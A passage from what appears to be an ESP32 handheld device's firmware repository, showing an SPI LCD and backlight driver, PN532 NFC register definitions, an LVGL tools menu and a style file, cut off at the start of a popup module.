| #define LEDC_DUTY_RES LEDC_TIMER_13_BIT 18 | #define LEDC_FREQUENCY (4000) 19 | 20 | /* LCD color formats */ 21 | #define ESP_LCD_COLOR_FORMAT_RGB565 (1) 22 | #define ESP_LCD_COLOR_FORMAT_RGB888 (2) 23 | 24 | /* LCD display color format */ 25 | #define LCD_COLOR_FORMAT (ESP_LCD_COLOR_FORMAT_RGB565) 26 | 27 | /* LCD display color bits */ 28 | #define LCD_BITS_PER_PIXEL (16) 29 | /* LCD display color space */ 30 | #define LCD_COLOR_SPACE (ESP_LCD_COLOR_SPACE_RGB) 31 | 32 | #define LCD_Y_GAP (35) 33 | #define LCD_X_GAP (0) 34 | #define LCD_INVERT_COLOR (1) 35 | 36 | #define LCD_PIXEL_CLOCK_HZ SPI_MASTER_FREQ_80M 37 | #define LCD_SPI_NUM (SPI2_HOST) 38 | 39 | #define LCD_QUEUE_SIZE (100) 40 | 41 | // Bit number used to represent command and parameter 42 | #define LCD_CMD_BITS (8) 43 | #define LCD_PARAM_BITS (8) 44 | 45 | static esp_lcd_panel_io_handle_t io_handle = NULL; 46 | static esp_lcd_panel_handle_t panel_handle = NULL; 47 | static gpio_num_t backlight_pin; 48 | 49 | static bool backlight_state = false; 50 | static uint8_t default_intensity = 50; 51 | 52 | static esp_err_t display_backlight_init(void) { 53 | ledc_timer_config_t ledc_timer = { 54 | .speed_mode = LEDC_MODE, 55 | .duty_resolution = LEDC_DUTY_RES, 56 | .timer_num = LEDC_TIMER, 57 | .freq_hz = LEDC_FREQUENCY, // Set output frequency at 4 kHz 58 | .clk_cfg = LEDC_AUTO_CLK}; 59 | 60 | esp_err_t result = ledc_timer_config(&ledc_timer); 61 | if (result != ESP_OK) { 62 | ESP_LOGE(TAG, "%s: Cannot init LEDC timer:%s", __func__, 63 | esp_err_to_name(result)); 64 | return result; 65 | } 66 | 67 | ledc_channel_config_t ledc_channel = {.speed_mode = LEDC_MODE, 68 | .channel = LEDC_CHANNEL, 69 | .timer_sel = LEDC_TIMER, 70 | .intr_type = LEDC_INTR_DISABLE, 71 | .gpio_num = backlight_pin, 72 | .duty = 0, // Set duty to 0% 73 | .hpoint = 0}; 74 | result = ledc_channel_config(&ledc_channel); 75 | if (result != ESP_OK) { 76 | ESP_LOGE(TAG, "%s: Cannot init LEDC channel:%s", __func__, 77 | esp_err_to_name(result)); 78 | return result; 79 | } 80 | return ESP_OK; 81 | } 82 | 83 | esp_err_t display_init(spi_host_device_t spi_host, gpio_num_t cs, gpio_num_t dc, 84 | gpio_num_t reset, gpio_num_t backlight) { 85 | backlight_pin = backlight; 86 | const esp_lcd_panel_io_spi_config_t io_config = { 87 | .cs_gpio_num = cs, 88 | .dc_gpio_num = dc, 89 | .spi_mode = 0, 90 | .pclk_hz = LCD_PIXEL_CLOCK_HZ, 91 | .trans_queue_depth = LCD_QUEUE_SIZE, 92 | .lcd_cmd_bits = LCD_CMD_BITS, 93 | .lcd_param_bits = LCD_PARAM_BITS, 94 | }; 95 | ESP_RETURN_ON_ERROR( 96 | esp_lcd_new_panel_io_spi((esp_lcd_spi_bus_handle_t)spi_host, &io_config, 97 | &io_handle), 98 | TAG, "LCD new panel IO SPI failed"); 99 | 100 | const esp_lcd_panel_dev_config_t panel_config = { 101 | .reset_gpio_num = reset, 102 | .color_space = LCD_COLOR_SPACE, 103 | .bits_per_pixel = LCD_BITS_PER_PIXEL, 104 | }; 105 | ESP_RETURN_ON_ERROR( 106 | esp_lcd_new_panel_st7789(io_handle, &panel_config, &panel_handle), TAG, 107 | "Create LCD panel failed"); 108 | 109 | ESP_RETURN_ON_ERROR(esp_lcd_panel_reset(panel_handle), TAG, 110 | "LCD Panel Reset failed"); 111 | ESP_RETURN_ON_ERROR(esp_lcd_panel_init(panel_handle), TAG, 112 | "LCD panel init failed"); 113 | ESP_RETURN_ON_ERROR(esp_lcd_panel_swap_xy(panel_handle, LCD_SWAP_XY), TAG, 114 | "LCD panel swap X/Y failed"); 115 | ESP_RETURN_ON_ERROR( 116 | esp_lcd_panel_mirror(panel_handle, LCD_MIRROR_X, LCD_MIRROR_Y), TAG, 117 | "LCD panel mirror failed"); 118 | ESP_RETURN_ON_ERROR( 119 | esp_lcd_panel_invert_color(panel_handle, LCD_INVERT_COLOR), TAG, 120 | "LCD panel invert color failed"); 121 | ESP_RETURN_ON_ERROR(esp_lcd_panel_set_gap(panel_handle, LCD_X_GAP, LCD_Y_GAP), 122 | TAG, "LCD panel set gap failed"); 123 | ESP_RETURN_ON_ERROR(display_backlight_init(), TAG, 124 | "LCD backlight init failed"); 125 | ESP_RETURN_ON_ERROR(esp_lcd_panel_disp_on_off(panel_handle, true), TAG, 126 | "LCD Panel turn on failed"); 127 | // display_backlight_init(); 128 | return ESP_OK; 129 | } 130 | 131 | esp_lcd_panel_io_handle_t display_get_io_handle() { return io_handle; } 132 | 133 | esp_lcd_panel_handle_t display_get_panel_handle() { return panel_handle; } 134 | 135 | void display_backlight_on(void) { 136 | display_backlight_intensity(default_intensity); 137 | backlight_state = true; 138 | } 139 | 140 | void display_backlight_off(void) { 141 | display_backlight_intensity(0); 142 | backlight_state = false; 143 | } 144 | 145 | void display_backlight_toggle(void) { 146 | backlight_state ? display_backlight_off() : display_backlight_on(); 147 | } 148 | 149 | void display_backlight_intensity(uint8_t intensity) { 150 | uint16_t duty = 151 | (uint16_t)(pow(2, LEDC_DUTY_RES) * ((double)intensity / (double)100)); 152 | ledc_set_duty(LEDC_MODE, LEDC_CHANNEL, duty); 153 | ledc_update_duty(LEDC_MODE, LEDC_CHANNEL); 154 | } 155 | 156 | void display_blacklight_set_default_intensity(uint8_t intensity) { 157 | if (intensity > 100) { 158 | intensity = 100; 159 | } 160 | default_intensity = intensity; 161 | display_backlight_intensity(default_intensity); 162 | } 163 | 164 | uint8_t display_backlight_get_intensity() { return default_intensity; } -------------------------------------------------------------------------------- /components/pn532/pn532_registers.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define PN532_PREAMBLE (0x00) ///< Command sequence start, byte 1/3 4 | #define PN532_STARTCODE1 (0x00) ///< Command sequence start, byte 2/3 5 | #define PN532_STARTCODE2 (0xFF) ///< Command sequence start, byte 3/3 6 | #define PN532_POSTAMBLE (0x00) ///< EOD 7 | 8 | #define PN532_HOSTTOPN532 (0xD4) ///< Host-to-PN532 9 | #define PN532_PN532TOHOST (0xD5) ///< PN532-to-host 10 | 11 | // PN532 Commands 12 | #define PN532_COMMAND_DIAGNOSE (0x00) ///< Diagnose 13 | #define PN532_COMMAND_GETFIRMWAREVERSION (0x02) ///< Get firmware version 14 | #define PN532_COMMAND_GETGENERALSTATUS (0x04) ///< Get general status 15 | #define PN532_COMMAND_READREGISTER (0x06) ///< Read register 16 | #define PN532_COMMAND_WRITEREGISTER (0x08) ///< Write register 17 | #define PN532_COMMAND_READGPIO (0x0C) ///< Read GPIO 18 | #define PN532_COMMAND_WRITEGPIO (0x0E) ///< Write GPIO 19 | #define PN532_COMMAND_SETSERIALBAUDRATE (0x10) ///< Set serial baud rate 20 | #define PN532_COMMAND_SETPARAMETERS (0x12) ///< Set parameters 21 | #define PN532_COMMAND_SAMCONFIGURATION (0x14) ///< SAM configuration 22 | #define PN532_COMMAND_POWERDOWN (0x16) ///< Power down 23 | #define PN532_COMMAND_RFCONFIGURATION (0x32) ///< RF config 24 | #define PN532_COMMAND_RFREGULATIONTEST (0x58) ///< RF regulation test 25 | #define PN532_COMMAND_INJUMPFORDEP (0x56) ///< Jump for DEP 26 | #define PN532_COMMAND_INJUMPFORPSL (0x46) ///< Jump for PSL 27 | #define PN532_COMMAND_INLISTPASSIVETARGET (0x4A) ///< List passive target 28 | #define PN532_COMMAND_INATR (0x50) ///< ATR 29 | #define PN532_COMMAND_INPSL (0x4E) ///< PSL 30 | #define PN532_COMMAND_INDATAEXCHANGE (0x40) ///< Data exchange 31 | #define PN532_COMMAND_INCOMMUNICATETHRU (0x42) ///< Communicate through 32 | #define PN532_COMMAND_INDESELECT (0x44) ///< Deselect 33 | #define PN532_COMMAND_INRELEASE (0x52) ///< Release 34 | #define PN532_COMMAND_INSELECT (0x54) ///< Select 35 | #define PN532_COMMAND_INAUTOPOLL (0x60) ///< Auto poll 36 | #define PN532_COMMAND_TGINITASTARGET (0x8C) ///< Init as target 37 | #define PN532_COMMAND_TGSETGENERALBYTES (0x92) ///< Set general bytes 38 | #define PN532_COMMAND_TGGETDATA (0x86) ///< Get data 39 | #define PN532_COMMAND_TGSETDATA (0x8E) ///< Set data 40 | #define PN532_COMMAND_TGSETMETADATA (0x94) ///< Set metadata 41 | #define PN532_COMMAND_TGGETINITIATORCOMMAND (0x88) ///< Get initiator command 42 | #define PN532_COMMAND_TGRESPONSETOINITIATOR (0x90) ///< Response to initiator 43 | #define PN532_COMMAND_TGGETTARGETSTATUS (0x8A) ///< Get target status 44 | 45 | #define PN532_RESPONSE_INDATAEXCHANGE (0x41) ///< Data exchange 46 | #define PN532_RESPONSE_INLISTPASSIVETARGET (0x4B) ///< List passive target 47 | 48 | #define PN532_WAKEUP (0x55) ///< Wake 49 | 50 | #define PN532_SPI_STATREAD (0x02) ///< Stat read 51 | #define PN532_SPI_DATAWRITE (0x01) ///< Data write 52 | #define PN532_SPI_DATAREAD (0x03) ///< Data read 53 | #define PN532_SPI_READY (0x01) ///< Ready 54 | 55 | #define PN532_I2C_ADDRESS (0x48) ///< Default I2C address 56 | #define PN532_I2C_READ_ADDRESS (0x49) 57 | #define PN532_I2C_READBIT (0x01) ///< Read bit 58 | #define PN532_I2C_BUSY (0x00) ///< Busy 59 | #define PN532_I2C_READY (0x01) ///< Ready 60 | #define PN532_I2C_READYTIMEOUT (20) ///< Ready timeout 61 | 62 | #define PN532_MIFARE_ISO14443A (0x00) ///< MiFare 63 | 64 | // Mifare Commands 65 | #define MIFARE_CMD_AUTH_A (0x60) ///< Auth A 66 | #define MIFARE_CMD_AUTH_B (0x61) ///< Auth B 67 | #define MIFARE_CMD_READ (0x30) ///< Read 68 | #define MIFARE_CMD_WRITE (0xA0) ///< Write 69 | #define MIFARE_CMD_TRANSFER (0xB0) ///< Transfer 70 | #define MIFARE_CMD_DECREMENT (0xC0) ///< Decrement 71 | #define MIFARE_CMD_INCREMENT (0xC1) ///< Increment 72 | #define MIFARE_CMD_STORE (0xC2) ///< Store 73 | #define MIFARE_ULTRALIGHT_CMD_WRITE (0xA2) ///< Write (MiFare Ultralight) 74 | 75 | // Prefixes for NDEF Records (to identify record type) 76 | #define NDEF_URIPREFIX_NONE (0x00) ///< No prefix 77 | #define NDEF_URIPREFIX_HTTP_WWWDOT (0x01) ///< HTTP www. prefix 78 | #define NDEF_URIPREFIX_HTTPS_WWWDOT (0x02) ///< HTTPS www. prefix 79 | #define NDEF_URIPREFIX_HTTP (0x03) ///< HTTP prefix 80 | #define NDEF_URIPREFIX_HTTPS (0x04) ///< HTTPS prefix 81 | #define NDEF_URIPREFIX_TEL (0x05) ///< Tel prefix 82 | #define NDEF_URIPREFIX_MAILTO (0x06) ///< Mailto prefix 83 | #define NDEF_URIPREFIX_FTP_ANONAT (0x07) ///< FTP 84 | #define NDEF_URIPREFIX_FTP_FTPDOT (0x08) ///< FTP dot 85 | #define NDEF_URIPREFIX_FTPS (0x09) ///< FTPS 86 | #define NDEF_URIPREFIX_SFTP (0x0A) ///< SFTP 87 | #define NDEF_URIPREFIX_SMB (0x0B) ///< SMB 88 | #define NDEF_URIPREFIX_NFS (0x0C) ///< NFS 89 | #define NDEF_URIPREFIX_FTP (0x0D) ///< FTP 90 | #define NDEF_URIPREFIX_DAV (0x0E) ///< DAV 91 | #define NDEF_URIPREFIX_NEWS (0x0F) ///< NEWS 92 | #define NDEF_URIPREFIX_TELNET (0x10) ///< Telnet prefix 93 | #define NDEF_URIPREFIX_IMAP (0x11) ///< IMAP prefix 94 | #define NDEF_URIPREFIX_RTSP (0x12) ///< RTSP 95 | #define NDEF_URIPREFIX_URN (0x13) ///< URN 96 | #define NDEF_URIPREFIX_POP (0x14) ///< POP 97 | #define NDEF_URIPREFIX_SIP (0x15) ///< SIP 98 | #define NDEF_URIPREFIX_SIPS (0x16) ///< SIPS 99 | #define NDEF_URIPREFIX_TFTP (0x17) ///< TFPT 100 | #define NDEF_URIPREFIX_BTSPP (0x18) ///< BTSPP 101 | #define NDEF_URIPREFIX_BTL2CAP (0x19) ///< BTL2CAP 102 | #define NDEF_URIPREFIX_BTGOEP (0x1A) ///< BTGOEP 103 | #define NDEF_URIPREFIX_TCPOBEX (0x1B) ///< TCPOBEX 104 | #define NDEF_URIPREFIX_IRDAOBEX (0x1C) ///< IRDAOBEX 105 | #define NDEF_URIPREFIX_FILE (0x1D) ///< File 106 | #define NDEF_URIPREFIX_URN_EPC_ID (0x1E) ///< URN EPC ID 107 | #define NDEF_URIPREFIX_URN_EPC_TAG (0x1F) ///< URN EPC tag 108 | #define NDEF_URIPREFIX_URN_EPC_PAT (0x20) ///< URN EPC pat 109 | #define NDEF_URIPREFIX_URN_EPC_RAW (0x21) ///< URN EPC raw 110 | #define NDEF_URIPREFIX_URN_EPC (0x22) ///< URN EPC 111 | #define NDEF_URIPREFIX_URN_NFC (0x23) ///< URN NFC 112 | 113 | #define PN532_GPIO_VALIDATIONBIT (0x80) ///< GPIO validation bit 114 | #define PN532_GPIO_P30 (0) ///< GPIO 30 115 | #define PN532_GPIO_P31 (1) ///< GPIO 31 116 | #define PN532_GPIO_P32 (2) ///< GPIO 32 117 | #define PN532_GPIO_P33 (3) ///< GPIO 33 118 | #define PN532_GPIO_P34 (4) ///< GPIO 34 119 | #define PN532_GPIO_P35 (5) ///< GPIO 35 120 | 121 | #define I2C_WRITE_TIMEOUT 1000 // ms 122 | #define I2C_READ_TIMEOUT 1000 // ms 123 | #define IRQ_WAIT_TIMEOUT 1000 // ms 124 | -------------------------------------------------------------------------------- /components/gui/views/tools_view.c: -------------------------------------------------------------------------------- 1 | #include "tools_view.h" 2 | #include "display.h" 3 | 4 | #include "popup.h" 5 | 6 | static view_handler_t *calling_view; 7 | 8 | static lv_obj_t *tools_view; 9 | static view_handler_t tools_view_handler; 10 | 11 | typedef enum { 12 | TOOLS_MENU_REBOOT, 13 | TOOLS_MENU_BACKLIGHT, 14 | TOOLS_MENU_TEST, 15 | 16 | TOOLS_MENU_SIZE 17 | } tools_menu_items_t; 18 | 19 | typedef enum { 20 | TOOLS_NOT_IN_VIEW, 21 | TOOLS_VIEW_MAIN, 22 | TOOLS_VIEW_BACKLIGHT, 23 | TOOLS_VIEW_TEST, 24 | 25 | TOOLS_VIEWS_SIZE 26 | } tools_views_t; 27 | 28 | static const char *tools_menu_texts[TOOLS_MENU_SIZE] = {"REBOOT", "BACKLIGHT", 29 | "TEST"}; 30 | 31 | static void tools_view_draw(view_handler_t *_calling_view); 32 | 33 | // Backlight 34 | static void tools_draw_backlight_view(); 35 | static uint8_t current_backlight; 36 | static lv_obj_t *backlight_slider; 37 | 38 | static tools_menu_items_t current_menu_item; 39 | static tools_views_t current_view; 40 | 41 | // Menu test 42 | static popup_config_t *popup_config; 43 | 44 | static void keyboardCB(popup_content_t *content) { 45 | if (!content->user_validation) { 46 | return; 47 | } 48 | popup_config->callback = NULL; 49 | popup_config->type = POPUP_INFO; 50 | popup_config->title = NULL; 51 | popup_config->content = content->content; 52 | popup_start(popup_config); 53 | } 54 | 55 | static void popupMenuCB(popup_content_t *content) { 56 | free(popup_config->items); 57 | free(popup_config); 58 | if (!content->user_validation || content->type != POPUP_MENU) { 59 | return; 60 | } 61 | popup_config = malloc(sizeof(*popup_config)); 62 | popup_config->callback = NULL; 63 | if (content->content_index == 0) { 64 | popup_config->type = POPUP_ALERT; 65 | popup_config->title = "Alert Test"; 66 | popup_config->content = "This is\nan alert popup test"; 67 | } else if (content->content_index == 1) { 68 | popup_config->type = POPUP_INFO; 69 | popup_config->title = "Info Test"; 70 | popup_config->content = "This is\nan info popup test"; 71 | } else if (content->content_index == 2) { 72 | popup_config->type = POPUP_KEYBOARD; 73 | popup_config->title = "Keyboard Test"; 74 | popup_config->content = NULL; 75 | popup_config->callback = &keyboardCB; 76 | } 77 | popup_start(popup_config); 78 | } 79 | 80 | static void tools_input_handler(user_actions_t user_action) { 81 | if (user_action == KEY_CLICK_SHORT) { 82 | if (current_view == TOOLS_VIEW_MAIN) { 83 | calling_view->draw_view(tools_view_get_handler()); 84 | } else { 85 | tools_view_draw(calling_view); 86 | } 87 | } else if (user_action == WHEEL_CLICK_LONG) { 88 | 89 | } else if (user_action == WHEEL_CLICK_SHORT) { 90 | if (current_menu_item == TOOLS_MENU_REBOOT) { 91 | esp_restart(); 92 | } else if (current_menu_item == TOOLS_MENU_BACKLIGHT) { 93 | tools_draw_backlight_view(); 94 | } else if (current_menu_item == TOOLS_MENU_TEST) { 95 | popup_config = malloc(sizeof(*popup_config)); 96 | popup_config->callback = &popupMenuCB; 97 | popup_config->content = NULL; 98 | popup_config->nb_items = 3; 99 | popup_config->items = 100 | malloc(sizeof(*popup_config->items) * popup_config->nb_items); 101 | popup_config->items[0] = "Alert"; 102 | popup_config->items[1] = "Info"; 103 | popup_config->items[2] = "Keyboard"; 104 | popup_config->title = "Menu Test"; 105 | popup_config->type = POPUP_MENU; 106 | popup_start(popup_config); 107 | } 108 | } else if (user_action == WHEEL_UP) { 109 | if (current_view == TOOLS_VIEW_MAIN) { 110 | current_menu_item++; 111 | if (current_menu_item >= TOOLS_MENU_SIZE) { 112 | current_menu_item = (tools_menu_items_t)0; 113 | } 114 | tools_view_draw(calling_view); 115 | } else if (current_view == TOOLS_VIEW_BACKLIGHT) { 116 | if (current_backlight < 100) { 117 | current_backlight++; 118 | display_blacklight_set_default_intensity(current_backlight); 119 | tools_draw_backlight_view(); 120 | } 121 | } 122 | } else if (user_action == WHEEL_DOWN) { 123 | if (current_view == TOOLS_VIEW_MAIN) { 124 | if (current_menu_item > 0) { 125 | current_menu_item--; 126 | } else { 127 | current_menu_item = TOOLS_MENU_SIZE - 1; 128 | } 129 | tools_view_draw(calling_view); 130 | } else if (current_view == TOOLS_VIEW_BACKLIGHT) { 131 | if (current_backlight > 1) { 132 | current_backlight--; 133 | display_blacklight_set_default_intensity(current_backlight); 134 | tools_draw_backlight_view(); 135 | } 136 | } 137 | } 138 | } 139 | 140 | static void tools_draw_backlight_view() { 141 | current_view = TOOLS_VIEW_BACKLIGHT; 142 | lvgl_port_lock(0); 143 | 144 | lv_obj_clean(tools_view); 145 | tools_view = lv_obj_create(lv_screen_active()); 146 | lv_obj_set_size(tools_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 147 | lv_obj_align(tools_view, LV_ALIGN_TOP_LEFT, 0, 20); 148 | lv_obj_add_style(tools_view, style_get_background_main(), LV_PART_MAIN); 149 | 150 | backlight_slider = lv_slider_create(tools_view); 151 | lv_obj_add_style(backlight_slider, style_get_bar_background(), LV_PART_MAIN); 152 | lv_obj_add_style(backlight_slider, style_get_bar_indic(), LV_PART_INDICATOR); 153 | lv_obj_add_style(backlight_slider, style_get_background_alt_highlight(), 154 | LV_PART_KNOB); 155 | 156 | lv_obj_center(backlight_slider); 157 | lv_slider_set_value(backlight_slider, current_backlight, LV_ANIM_OFF); 158 | 159 | lvgl_port_unlock(); 160 | } 161 | 162 | static void tools_view_clear() { 163 | lvgl_port_lock(0); 164 | lv_obj_clean(tools_view); 165 | lvgl_port_unlock(); 166 | } 167 | 168 | static void tools_view_draw(view_handler_t *_calling_view) { 169 | calling_view = _calling_view; 170 | if (calling_view != tools_view_get_handler()) { 171 | calling_view->clear_view(); 172 | } 173 | current_view = TOOLS_VIEW_MAIN; 174 | current_backlight = display_backlight_get_intensity(); 175 | set_current_view_handler(tools_view_get_handler()); 176 | lvgl_port_lock(0); 177 | tools_view = lv_obj_create(lv_screen_active()); 178 | lv_obj_set_size(tools_view, MAIN_SCREEN_WIDTH, MAIN_SCREEN_HEIGHT); 179 | lv_obj_align(tools_view, LV_ALIGN_TOP_LEFT, 0, 20); 180 | lv_obj_add_style(tools_view, style_get_background_main(), LV_PART_MAIN); 181 | 182 | void *menu_labels[TOOLS_MENU_SIZE]; 183 | uint16_t y = 5; 184 | for (size_t i = 0; i < TOOLS_MENU_SIZE; i++) { 185 | menu_labels[i] = lv_label_create(tools_view); 186 | lv_obj_align((lv_obj_t *)menu_labels[i], LV_ALIGN_TOP_LEFT, 5, y); 187 | lv_obj_add_style((lv_obj_t *)menu_labels[i], style_get_font_bigfont(), 188 | LV_PART_MAIN); 189 | if (i == current_menu_item) { 190 | lv_obj_add_style((lv_obj_t *)menu_labels[i], style_get_font_highlight(), 191 | LV_PART_MAIN); 192 | } 193 | lv_label_set_text((lv_obj_t *)menu_labels[i], tools_menu_texts[i]); 194 | y += 20; 195 | } 196 | lvgl_port_unlock(); 197 | } 198 | 199 | void tools_view_init(void) { 200 | tools_view_handler.obj_view = tools_view; 201 | tools_view_handler.input_callback = tools_input_handler; 202 | tools_view_handler.draw_view = tools_view_draw; 203 | tools_view_handler.clear_view = tools_view_clear; 204 | current_menu_item = TOOLS_MENU_REBOOT; 205 | current_view = TOOLS_NOT_IN_VIEW; 206 | } 207 | 208 | view_handler_t *tools_view_get_handler(void) { return &tools_view_handler; } 209 | -------------------------------------------------------------------------------- /components/gui/style.c: -------------------------------------------------------------------------------- 1 | #include "style.h" 2 | 3 | static lv_style_t background_main; 4 | static lv_style_t background_status_bar; 5 | static lv_style_t background_title_bar; 6 | static lv_style_t background_transparent; 7 | static lv_style_t background_highlight; 8 | static lv_style_t background_alt_highlight; 9 | static lv_style_t background_danger; 10 | static lv_style_t background_popup; 11 | 12 | static lv_style_t font_bigfont; 13 | static lv_style_t font_highlight; 14 | static lv_style_t font_alt_highlight; 15 | static lv_style_t font_danger; 16 | 17 | static lv_style_t bar_indic; 18 | static lv_style_t bar_bg; 19 | static lv_style_t bar_knob; 20 | 21 | void style_init(void) { 22 | // Transparent background 23 | lv_style_init(&background_transparent); 24 | lv_style_reset(&background_transparent); 25 | lv_style_set_bg_opa(&background_transparent, LV_OPA_0); 26 | lv_style_set_text_color(&background_transparent, lv_color_hex(TEXT_COLOR)); 27 | lv_style_set_radius(&background_transparent, 0); 28 | lv_style_set_border_width(&background_transparent, 0); 29 | lv_style_set_pad_all(&background_transparent, 0); 30 | 31 | // Popup background 32 | lv_style_init(&background_popup); 33 | lv_style_set_bg_opa(&background_popup, LV_OPA_70); 34 | lv_style_set_bg_color(&background_popup, lv_color_hex(BACKGROUND_COLOR)); 35 | lv_style_set_text_color(&background_popup, lv_color_hex(TEXT_COLOR)); 36 | lv_style_set_border_width(&background_popup, 0); 37 | lv_style_set_radius(&background_popup, 10); 38 | lv_style_set_pad_all(&background_popup, 0); 39 | 40 | // Highlight background 41 | lv_style_init(&background_highlight); 42 | lv_style_set_bg_color(&background_highlight, lv_color_hex(HIGHLIGHT_COLOR)); 43 | 44 | // Highlight Alt background 45 | lv_style_init(&background_alt_highlight); 46 | lv_style_set_bg_color(&background_alt_highlight, 47 | lv_color_hex(HIGHLIGHT_ALT_COLOR)); 48 | 49 | // Danger background use by scrollbar 50 | lv_style_init(&background_danger); 51 | lv_style_set_bg_color(&background_danger, lv_color_hex(DANGER_COLOR)); 52 | 53 | // Title bar background 54 | lv_style_init(&background_title_bar); 55 | lv_style_reset(&background_title_bar); 56 | lv_style_set_bg_color(&background_title_bar, lv_color_hex(BACKGROUND_COLOR)); 57 | lv_style_set_text_color(&background_title_bar, lv_color_hex(TEXT_COLOR)); 58 | lv_style_set_radius(&background_title_bar, 0); 59 | lv_style_set_border_width(&background_title_bar, 0); 60 | lv_style_set_pad_all(&background_title_bar, 0); 61 | 62 | static lv_grad_dsc_t title_grad_bar; 63 | title_grad_bar.dir = LV_GRAD_DIR_VER; 64 | title_grad_bar.stops_count = 2; 65 | title_grad_bar.stops[0].color = lv_color_hex(BACKGROUND_COLOR); 66 | title_grad_bar.stops[0].opa = LV_OPA_0; 67 | title_grad_bar.stops[1].color = lv_color_hex(BACKGROUND_GRAD_COLOR); 68 | title_grad_bar.stops[1].opa = LV_OPA_COVER; 69 | /*Shift the gradient to the bottom*/ 70 | title_grad_bar.stops[0].frac = 100; 71 | title_grad_bar.stops[1].frac = 200; 72 | lv_style_set_bg_grad(&background_title_bar, &title_grad_bar); 73 | 74 | // Status bar background 75 | lv_style_init(&background_status_bar); 76 | lv_style_reset(&background_status_bar); 77 | lv_style_set_bg_color(&background_status_bar, lv_color_hex(BACKGROUND_COLOR)); 78 | lv_style_set_text_color(&background_status_bar, lv_color_hex(TEXT_COLOR)); 79 | lv_style_set_radius(&background_status_bar, 0); 80 | lv_style_set_border_width(&background_status_bar, 0); 81 | lv_style_set_pad_all(&background_status_bar, 0); 82 | 83 | // Add a gradient to background 84 | static lv_grad_dsc_t grad_bar; 85 | grad_bar.dir = LV_GRAD_DIR_VER; 86 | grad_bar.stops_count = 2; 87 | grad_bar.stops[0].color = lv_color_hex(BACKGROUND_GRAD_COLOR); 88 | grad_bar.stops[0].opa = LV_OPA_COVER; 89 | grad_bar.stops[1].color = lv_color_hex(BACKGROUND_COLOR); 90 | grad_bar.stops[1].opa = LV_OPA_COVER; 91 | /*Shift the gradient to the bottom*/ 92 | grad_bar.stops[0].frac = 100; 93 | grad_bar.stops[1].frac = 200; 94 | lv_style_set_bg_grad(&background_status_bar, &grad_bar); 95 | 96 | // Background Main with gradient 97 | lv_style_init(&background_main); 98 | lv_style_reset(&background_main); 99 | lv_style_set_bg_color(&background_main, lv_color_hex(BACKGROUND_COLOR)); 100 | lv_style_set_text_color(&background_main, lv_color_hex(TEXT_COLOR)); 101 | lv_style_set_radius(&background_main, 0); 102 | lv_style_set_border_width(&background_main, 0); 103 | lv_style_set_pad_all(&background_main, 0); 104 | // Add a gradient to background 105 | lv_color_t back_color = lv_color_hex(BACKGROUND_GRAD_COLOR); 106 | lv_color_t back_grad_color = lv_color_hex(BACKGROUND_COLOR); 107 | 108 | lv_color_t grad_colors[2] = { 109 | back_grad_color, 110 | back_color, 111 | }; 112 | static lv_grad_dsc_t grad; 113 | lv_gradient_init_stops(&grad, grad_colors, NULL, NULL, 114 | sizeof(grad_colors) / sizeof(lv_color_t)); 115 | lv_grad_radial_init(&grad, LV_GRAD_CENTER, LV_GRAD_CENTER, LV_GRAD_RIGHT, 116 | LV_GRAD_BOTTOM, LV_GRAD_EXTEND_PAD); 117 | lv_style_set_bg_grad(&background_main, &grad); 118 | 119 | // Bigfont 120 | lv_style_set_text_font(&font_bigfont, &lv_font_unscii_16); 121 | 122 | // Highlight 123 | lv_style_set_text_color(&font_highlight, lv_color_hex(HIGHLIGHT_COLOR)); 124 | 125 | // Alt Highlight 126 | lv_style_set_text_color(&font_alt_highlight, 127 | lv_color_hex(HIGHLIGHT_ALT_COLOR)); 128 | 129 | // Danger color 130 | lv_style_set_text_color(&font_danger, lv_color_hex(DANGER_COLOR)); 131 | 132 | // Bar indic 133 | lv_style_init(&bar_indic); 134 | lv_style_set_bg_opa(&bar_indic, LV_OPA_COVER); 135 | lv_style_set_radius(&bar_indic, 6); 136 | // Add a gradient to bar indic 137 | static lv_grad_dsc_t bar_grad; 138 | bar_grad.dir = LV_GRAD_DIR_HOR; 139 | bar_grad.stops_count = 2; 140 | bar_grad.stops[0].color = lv_color_hex(FOREGROUND_COLOR); 141 | bar_grad.stops[0].opa = LV_OPA_COVER; 142 | bar_grad.stops[1].color = lv_color_hex(FOREGROUND_GRAD_COLOR); 143 | bar_grad.stops[1].opa = LV_OPA_COVER; 144 | /*Shift the gradient to the bottom*/ 145 | bar_grad.stops[0].frac = 100; 146 | bar_grad.stops[1].frac = 200; 147 | lv_style_set_bg_grad(&bar_indic, &bar_grad); 148 | 149 | // Bar background 150 | lv_style_init(&bar_bg); 151 | lv_style_set_bg_opa(&bar_bg, LV_OPA_40); 152 | lv_style_set_bg_color(&bar_bg, lv_color_hex(BAR_BACKGROUND_COLOR)); 153 | lv_style_set_radius(&bar_bg, 6); 154 | 155 | // Bar Knob 156 | lv_style_init(&bar_knob); 157 | lv_style_set_bg_opa(&bar_knob, LV_OPA_COVER); 158 | lv_style_set_bg_color(&bar_knob, lv_color_hex(TEXT_COLOR)); 159 | } 160 | 161 | lv_style_t *style_get_background_main(void) { return &background_main; } 162 | 163 | lv_style_t *style_get_background_status_bar(void) { 164 | return &background_status_bar; 165 | } 166 | 167 | lv_style_t *style_get_background_title_bar(void) { 168 | return &background_title_bar; 169 | } 170 | 171 | lv_style_t *style_get_background_transparent(void) { 172 | return &background_transparent; 173 | } 174 | 175 | lv_style_t *style_get_background_highlight(void) { 176 | return &background_highlight; 177 | } 178 | 179 | lv_style_t *style_get_background_alt_highlight(void) { 180 | return &background_alt_highlight; 181 | } 182 | 183 | lv_style_t *style_get_background_danger(void) { return &background_danger; } 184 | 185 | lv_style_t *style_get_background_popup(void) { return &background_popup; } 186 | 187 | lv_style_t *style_get_font_bigfont(void) { return &font_bigfont; } 188 | 189 | lv_style_t *style_get_font_highlight(void) { return &font_highlight; } 190 | 191 | lv_style_t *style_get_font_alt_highlight(void) { return &font_alt_highlight; } 192 | 193 | lv_style_t *style_get_font_danger(void) { return &font_danger; } 194 | 195 | lv_style_t *style_get_bar_indic(void) { return &bar_indic; } 196 | 197 | lv_style_t *style_get_bar_background(void) { return &bar_bg; } 198 | 199 | lv_style_t *style_get_bar_knob(void) { return &bar_knob; } 200 | -------------------------------------------------------------------------------- /components/gui/popup.c: -------------------------------------------------------------------------------- 1 | #include "popup.h" 2 | 3 | #include "string.h" 4 | #include "style.h" 5 | #include "view_commons.h" 6 | 7 | static lv_obj_t *popup_container; 8 | static 